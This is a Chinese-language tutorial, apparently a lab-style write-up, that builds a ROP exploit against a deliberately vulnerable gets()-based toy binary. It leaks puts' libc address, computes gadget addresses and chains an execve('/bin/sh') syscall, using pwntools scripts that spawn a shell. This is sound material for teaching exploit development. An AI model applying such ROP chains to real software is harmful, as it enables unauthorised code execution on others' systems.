存在如下代码:
#include <stdio.h>
#include <unistd.h>
int main(){
char buf[10];
puts("hello");
gets(buf);
}
gcc编译:gcc rop.c -o rop -no-pie -fno-stack-protector
1 分析代码
代码存在栈溢出,输入18个字节填充即可控制程序流程,这里使用ROP来获得shell
分析思路:
- 获得puts()函数在libc中的地址,通过该地址计算system、execve等函数的地址
- 通过ROPgadget获得字符串”/bin/sh”
- 构造ROP链获得shell
1.1 调用puts输出puts的地址
使用指令disassemble puts函数,获得puts函数plt表地址和got.plt表地址:puts = 0x401030
puts_got = 0x404018
在64位Linux系统中,函数调用参数与_cdecl约定不同,函数的前6个参数依次是RDI、RSI、RDX、RCX、R8、R9
如果有多余的参数则和32位一样使用栈传参。
对于puts函数,int puts(char *string)
传入参数为地址,这里我们需要将puts_got
地址传入RDI寄存器中。使用ROPgadget工具获得指令pop rdi;ret
的地址:pop_rdi = 0x4011d3
函数栈结构为:
pwntools获得puts函数地址: ```python from pwn import *
p = process(‘./rop’) puts = 0x401030 puts_got = 0x404018 pop_rdi = 0x4011d3
p.sendline(b’a’*18+p64(pop_rdi)+p64(puts_got)+p64(puts)) p.recvuntil(‘\n’) addr = u64(p.recv(6).ljust(8,’\x00’)) print(hex(addr))
pwntools获得libc基址:
```python
from pwn import *
p = process('./rop')
elf = ELF('./rop')
libc = elf.libc
puts = 0x401030
puts_got = 0x404018
pop_rdi = 0x4011d3
p.sendline(b'a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
print(hex(addr))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
1.2 syscall系统调用命令执行
execve("/bin/sh",0,0)
,系统调用号为59,故需要将rax设置为59
,rdi设为”/bin/sh”字符串地址,rsi和rdx设置为0。所需要相关gadget为如下,由于相关gadget在原程序中不存在,所以需要从libc中获得这些gadget。通过pwntools ELF.libc
可以知道程序动态链接的libc库。
使用ROPgadget从libc中获得gadget:
pop_rax_ret = 0x3f080
pop_rdi_ret = 0x26b12
pop_rsi_ret = 0x27037
pop_rdx_rbx_ret = 0x39256 (因为gadget中没有找到pop rdx ; ret,使用该gadget替代)
syscall = 0x2588b
pop_rax_ret = 0x3f080 + libc_base
pop_rdi_ret = 0x26b12 + libc_base
pop_rsi_ret = 0x27037 + libc_base
pop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代
syscall = 0x2588b + libc_base
binsh = next(libc.search("/bin/sh"),) + libc_base
rop2 = b'a'*18
rop2 += p64(pop_rax_ret)
rop2 += p64(59)
rop2 += p64(pop_rdi_ret)
rop2 += p64(binsh)
rop2 += p64(pop_rsi_ret)
rop2 += p64(0)
rop2 += p64(pop_rdx_rbx_ret)
rop2 += p64(0)
rop2 += p64(0)
rop2 += p64(syscall)
p.recvuntill("hello\n")
p.sendline(rop2)
p.interactive()
1.3 exp与过程
在rop1与rop2中可以重新执行main函数,利用溢出执行rop2。
Todo:// GDB pwntools调试
from pwn import *
p = process('./rop')
elf = ELF('./rop')
libc = elf.libc
puts = 0x401030
puts_got = 0x404018
pop_rdi = 0x4011d3
main = 0x401136
rop1 = b'a'*18
rop1 += p64(pop_rdi)
rop1 += p64(puts_got)
rop1 += p64(puts)
rop1 += p64(main)
p.sendline(rop1)
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,b'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax_ret = 0x3f080 + libc_base
pop_rdi_ret = 0x26b12 + libc_base
pop_rsi_ret = 0x27037 + libc_base
pop_rdx_rbx_ret = 0x39256 + libc_base #因为gadget中没有找到pop rdx ; ret,使用该gadget替代
syscall = 0x2588b + libc_base
binsh = next(libc.search(b"/bin/sh"),) + libc_base
rop2 = b'a'*18
rop2 += p64(pop_rax_ret)
rop2 += p64(59)
rop2 += p64(pop_rdi_ret)
rop2 += p64(binsh)
rop2 += p64(pop_rsi_ret)
rop2 += p64(0)
rop2 += p64(pop_rdx_rbx_ret)
rop2 += p64(0)
rop2 += p64(0)
rop2 += p64(syscall)
p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()